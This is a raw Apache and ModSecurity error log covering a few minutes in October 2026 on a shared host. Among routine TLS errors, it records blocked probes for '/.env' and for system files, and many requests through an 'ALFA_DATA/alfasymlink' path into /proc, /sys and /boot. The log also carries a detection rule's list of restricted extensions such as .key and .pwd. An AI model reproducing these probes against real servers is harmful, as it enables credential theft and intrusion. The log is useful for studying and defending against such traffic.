[Tue Oct 27 02:52:28.867400 2026] [security2:error] [pid 3175284:tid 3175284] [client 130.12.180.167:53710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "farma2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBKLEQFomyjz0g-y4eNCAAAAAo"]
[Tue Oct 27 02:52:28.867860 2026] [security2:error] [pid 3175284:tid 3175284] [client 130.12.180.167:53710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "farma2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBKLEQFomyjz0g-y4eNCAAAAAo"]
[Tue Oct 27 02:52:43.874145 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.5.232.250:31209] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:52:47.762121 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.209.201.119:51153] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:52:59.915292 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.229.2.217:52807] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:53:04.226192 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 54.156.124.2:22658] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:53:11.925114 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 100.28.49.152:13331] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory7/node0/cpu1/driver/bind
[Tue Oct 27 02:53:25.519926 2026] [security2:error] [pid 3184471:tid 3184471] [client 170.106.37.134:56376] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "auBKZdOTO42xOmZCRV01twAAAAE"]
[Tue Oct 27 02:53:25.521377 2026] [authz_core:error] [pid 3184471:tid 3184471] [client 170.106.37.134:56376] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 02:53:31.691737 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 23.23.213.182:1461] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:53:35.922970 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.81.253.213:14438] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:53:39.961372 2026] [core:error] [pid 3175289:tid 3175289] (13)Permission denied: [client 54.157.99.244:42906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/block/11:0/device/scsi_device/1:0:0:0/device/subsystem/drivers_probe
[Tue Oct 27 02:53:43.899176 2026] [security2:error] [pid 3157820:tid 3157820] [client 52.7.13.143:14586] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory12/node0/memory6/node0/power/"] [unique_id "auBKd3EUzec1h8JdAIG7VwAAAA4"]
[Tue Oct 27 02:53:43.899227 2026] [security2:error] [pid 3157820:tid 3157820] [client 52.7.13.143:14586] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory12/node0/memory6/node0/power/"] [unique_id "auBKd3EUzec1h8JdAIG7VwAAAA4"]
[Tue Oct 27 02:53:47.731383 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 100.25.120.246:48293] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:54:03.715419 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 18.215.112.101:19275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:54:07.710228 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 23.21.179.27:16282] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:54:20.072025 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 44.207.207.36:39572] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:54:22.211897 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 216.244.66.250:40928] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-0-rescue-93a3ad84fb099a1dbda616e2cd45e254.img
[Tue Oct 27 02:54:30.092393 2026] [authz_core:error] [pid 3174426:tid 3174426] [client 216.244.66.250:51772] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/betaok/PHPMailer/src/error_log
[Tue Oct 27 02:54:43.726356 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.202.52.82:29372] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:54:56.483310 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 23.21.225.190:8474] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:55:24.017093 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.193.115.232:63106] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:55:27.960278 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 54.157.99.244:65436] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:55:27.960464 2026] [security2:error] [pid 3184471:tid 3184471] [client 54.157.99.244:65436] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory11/subsystem/devices/memory5/node0/memory14/phys_device"] [unique_id "auBK39OTO42xOmZCRV01wAAAAAE"]
[Tue Oct 27 02:55:27.960487 2026] [security2:error] [pid 3184471:tid 3184471] [client 54.157.99.244:65436] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory11/subsystem/devices/memory5/node0/memory14/phys_device"] [unique_id "auBK39OTO42xOmZCRV01wAAAAAE"]
[Tue Oct 27 02:55:31.696535 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.231.193.38:58469] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:55:35.714295 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 3.221.50.71:29467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:55:39.728216 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 23.23.212.212:65015] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:55:44.149129 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.22.64.232:15595] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:55:45.462769 2026] [security2:error] [pid 3175284:tid 3175284] [client 16.216.88.46:45056] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/session.conf"] [unique_id "auBK8UQFomyjz0g-y4eNFQAAAAo"]
[Tue Oct 27 02:55:45.463269 2026] [security2:error] [pid 3175284:tid 3175284] [client 16.216.88.46:45056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/session.conf"] [unique_id "auBK8UQFomyjz0g-y4eNFQAAAAo"]
[Tue Oct 27 02:55:45.463560 2026] [security2:error] [pid 3175284:tid 3175284] [client 16.216.88.46:45056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dbus-1/session.conf"] [unique_id "auBK8UQFomyjz0g-y4eNFQAAAAo"]
[Tue Oct 27 02:55:47.965669 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 3.212.205.90:2981] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:56:04.121909 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 18.213.70.100:51910] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:20/eject
[Tue Oct 27 02:56:07.809058 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 44.209.187.99:18723] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:56:27.888716 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 18.209.201.119:27844] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:56:31.977876 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 3.231.193.38:23222] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:56:32.185553 2026] [security2:error] [pid 3157820:tid 3157820] [client 43.157.181.189:52990] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "auBLIHEUzec1h8JdAIG7YAAAAA4"]
[Tue Oct 27 02:56:41.873546 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 85.208.96.195:24600] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/align
[Tue Oct 27 02:56:59.045549 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 18.211.148.239:32375] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:57:03.560605 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 52.45.92.83:63768] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/0000:00:03.0/resource1
[Tue Oct 27 02:57:13.839639 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 85.208.96.206:40784] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/ctor
[Tue Oct 27 02:57:15.685311 2026] [core:error] [pid 3174286:tid 3174286] (13)Permission denied: [client 85.208.96.206:40792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/align
[Tue Oct 27 02:57:19.660253 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 23.22.59.87:51847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:57:35.618079 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.236.41.241:23043] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:57:47.324370 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.45.29.57:64220] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:58:07.508140 2026] [core:error] [pid 3157820:tid 3157820] (13)Permission denied: [client 3.224.104.67:46254] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory7/node0/cpu1/driver/uevent
[Tue Oct 27 02:58:23.138248 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.166.126.132:62147] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:58:39.304920 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 52.54.157.23:41454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input3/subsystem/input1/event1/device/device/driver/uevent
[Tue Oct 27 02:58:43.112671 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.212.86.97:21749] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:58:50.967393 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 18.213.70.100:48338] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:59:02.972832 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 34.196.114.170:24943] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:59:19.005813 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 184.72.84.154:17914] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:59:22.961999 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 34.234.206.30:16639] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:59:27.710403 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.45.92.83:1641] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:59:30.810877 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 18.214.238.178:57684] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:59:34.982708 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.227.156.153:40361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:59:42.615182 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 100.29.160.53:7279] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 02:59:46.639032 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 50.19.221.48:14227] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS2/flags
[Tue Oct 27 02:59:54.611837 2026] [security2:error] [pid 3184470:tid 3184470] [client 18.233.24.238:14927] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/LNXCPU:01/physical_node/node0/memory10/"] [unique_id "auBL6soogewtr_DucUPwDgAAAAA"]
[Tue Oct 27 02:59:54.611947 2026] [security2:error] [pid 3184470:tid 3184470] [client 18.233.24.238:14927] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/LNXCPU:01/physical_node/node0/memory10/"] [unique_id "auBL6soogewtr_DucUPwDgAAAAA"]
[Tue Oct 27 03:00:02.560327 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.7.33.248:50631] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:00:18.470930 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.212.205.90:23208] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:00:22.647904 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 34.226.89.140:64004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:00:26.475331 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 18.214.186.220:19680] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:00:42.280885 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 3.232.82.72:11915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:00:50.238684 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.224.104.67:22281] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:00:54.207376 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 184.73.35.182:5918] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:00:58.467596 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 18.208.11.93:63530] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:01:02.246635 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 54.84.161.62:60652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/drivers/hpet/bind
[Tue Oct 27 03:01:26.236166 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.204.81.148:15149] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:01:29.750842 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 85.208.96.211:34766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/type
[Tue Oct 27 03:01:34.260419 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 52.3.127.170:7546] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/ttyS3/line
[Tue Oct 27 03:01:42.233207 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 18.207.89.138:57004] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:01:46.205458 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 52.73.6.26:8591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:01:50.317884 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 50.17.193.48:38639] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:01:55.118765 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 52.2.58.41:15269] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/PNP0B00:00/physical_node/subsystem/uevent
[Tue Oct 27 03:01:56.276825 2026] [core:error] [pid 3184470:tid 3184470] (13)Permission denied: [client 185.191.171.3:15526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/reclaim_account
[Tue Oct 27 03:02:02.185651 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 35.168.238.50:58020] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:02:06.406299 2026] [core:error] [pid 3184472:tid 3184472] (13)Permission denied: [client 98.83.226.125:30391] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/platform/devices/pcspkr/driver/module/drivers/platform:pcspkr/unbind
[Tue Oct 27 03:02:14.314176 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 98.83.8.142:51979] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:02:18.187312 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 52.44.229.124:18748] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:02:22.243741 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.204.174.139:29113] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:02:26.380795 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 34.235.239.240:13440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:02:30.257043 2026] [ssl:error] [pid 3175289:tid 3175289] (5)Input/output error: [client 18.213.240.226:60864] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:02:32.876515 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 185.191.171.7:48336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:65/uartclk
[Tue Oct 27 03:02:38.233329 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 98.83.178.66:32183] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:02:54.303349 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.211.105.134:35490] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:03:14.463359 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.195.50.71:22776] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:03:22.171794 2026] [ssl:error] [pid 3174286:tid 3174286] (70014)End of file found: [client 54.156.55.147:14191] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:03:34.324684 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 34.225.24.180:20662] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:03:38.195946 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.203.237.170:24708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:03:46.172342 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 44.223.193.255:21177] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:03:50.192498 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 3.226.106.93:27834] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:03:58.351834 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.3.26.180:8570] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:04:01.677912 2026] [security2:error] [pid 3184470:tid 3184470] [client 43.134.100.175:59382] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auBM4coogewtr_DucUPwGAAAAAA"]
[Tue Oct 27 03:04:06.277034 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 52.54.95.127:4587] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:04:10.176829 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.221.180.179:34125] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:04:18.195427 2026] [ssl:error] [pid 3174286:tid 3174286] (5)Input/output error: [client 184.73.195.18:11754] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:04:26.181153 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 44.213.36.21:9130] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:04:30.163328 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 52.3.155.146:46559] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:04:34.161385 2026] [security2:error] [pid 3169915:tid 3169915] [client 44.212.106.171:12922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:00.0/power/"] [unique_id "auBNAmMfptYfS3IdlHNXhAAAAAc"]
[Tue Oct 27 03:04:34.161436 2026] [security2:error] [pid 3169915:tid 3169915] [client 44.212.106.171:12922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:00.0/power/"] [unique_id "auBNAmMfptYfS3IdlHNXhAAAAAc"]
[Tue Oct 27 03:04:38.159251 2026] [ssl:error] [pid 3175284:tid 3175284] (5)Input/output error: [client 54.83.23.103:14813] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:04:54.172366 2026] [ssl:error] [pid 3184470:tid 3184470] (70014)End of file found: [client 3.219.80.71:33277] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:05:30.238424 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 54.84.250.51:58183] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:05:33.379427 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 185.191.171.4:50424] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:05:34.168186 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 34.197.28.78:43470] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:05:38.243747 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 54.85.7.119:34673] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/button/LNXPWRBN:00/driver/bind
[Tue Oct 27 03:05:42.161435 2026] [ssl:error] [pid 3175289:tid 3175289] (70014)End of file found: [client 34.195.60.66:15762] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:05:46.267599 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 23.22.59.87:6846] AH02013: coalesce failed to read from data bucket
